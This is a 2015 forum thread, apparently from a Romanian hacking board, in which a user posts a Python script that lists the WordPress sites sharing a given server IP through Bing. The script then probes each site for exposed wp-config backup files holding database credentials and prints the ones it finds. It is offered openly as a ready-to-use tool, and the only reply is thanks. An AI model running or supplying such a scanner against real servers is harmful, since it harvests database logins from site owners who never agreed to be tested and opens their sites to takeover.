cristodulo Posted February 7, 2015 Report Share Posted February 7, 2015 (edited) import re , urllib2 , sys, urlliblista = []backup = ['wp-config.php~','wp-config.php.bak','wp-config.bak','wp-config.php-bak','/wp-content/uploads/blog-backup.txt']def unique(seq): seen = set() return [seen.add(x) or x for x in seq if x not in seen]def grabwp(ip): try: s = ip page = 1 print('\n') while page <= 21: bing = "http://www.bing.com/search?q=ip%3A"+s+"+?page_id=&count=50&first="+str(page) openbing = urllib2.urlopen(bing) readbing = openbing.read() findwebs = re.findall('<h2><a href="(.*?)"' , readbing) for i in range(len(findwebs)): wpnoclean = findwebs[i] findwp = re.findall('(.*?)\?page_id=', wpnoclean) lista.extend(findwp) page = page + 10 except IndexError: passdef searchbackup(site, config): try : read = urllib2.urlopen(site + "/" + config).read() rs = re.findall("USER",read) if rs : print "BACKUP FILE > " + site + "/" + config except : passdef scan(): final = unique(lista) for site in final : for config in backup : searchbackup(site, config)print "\!/ Server Wordpress Backup Files Scanner By YASSINOX.TN !/"print ''ip = raw_input("Server Ip Adress : ")grabwp(ip)final = unique(lista)print "Done ! Grabbed " + str(len(final) ) + " Wordpress Sites On This Server"print "---------------------------------------------------"scan()print "---------------------------------------------------" Edited February 7, 2015 by Ganav Quote Link to comment Share on other sites More sharing options...
MasterLight Posted February 7, 2015 Report Share Posted February 7, 2015 (edited) . Edited July 5, 2016 by MasterLight Quote Link to comment Share on other sites More sharing options...
cristodulo Posted February 8, 2015 Author Report Share Posted February 8, 2015 Multumesc, ai un like de la mine Quote Link to comment Share on other sites More sharing options...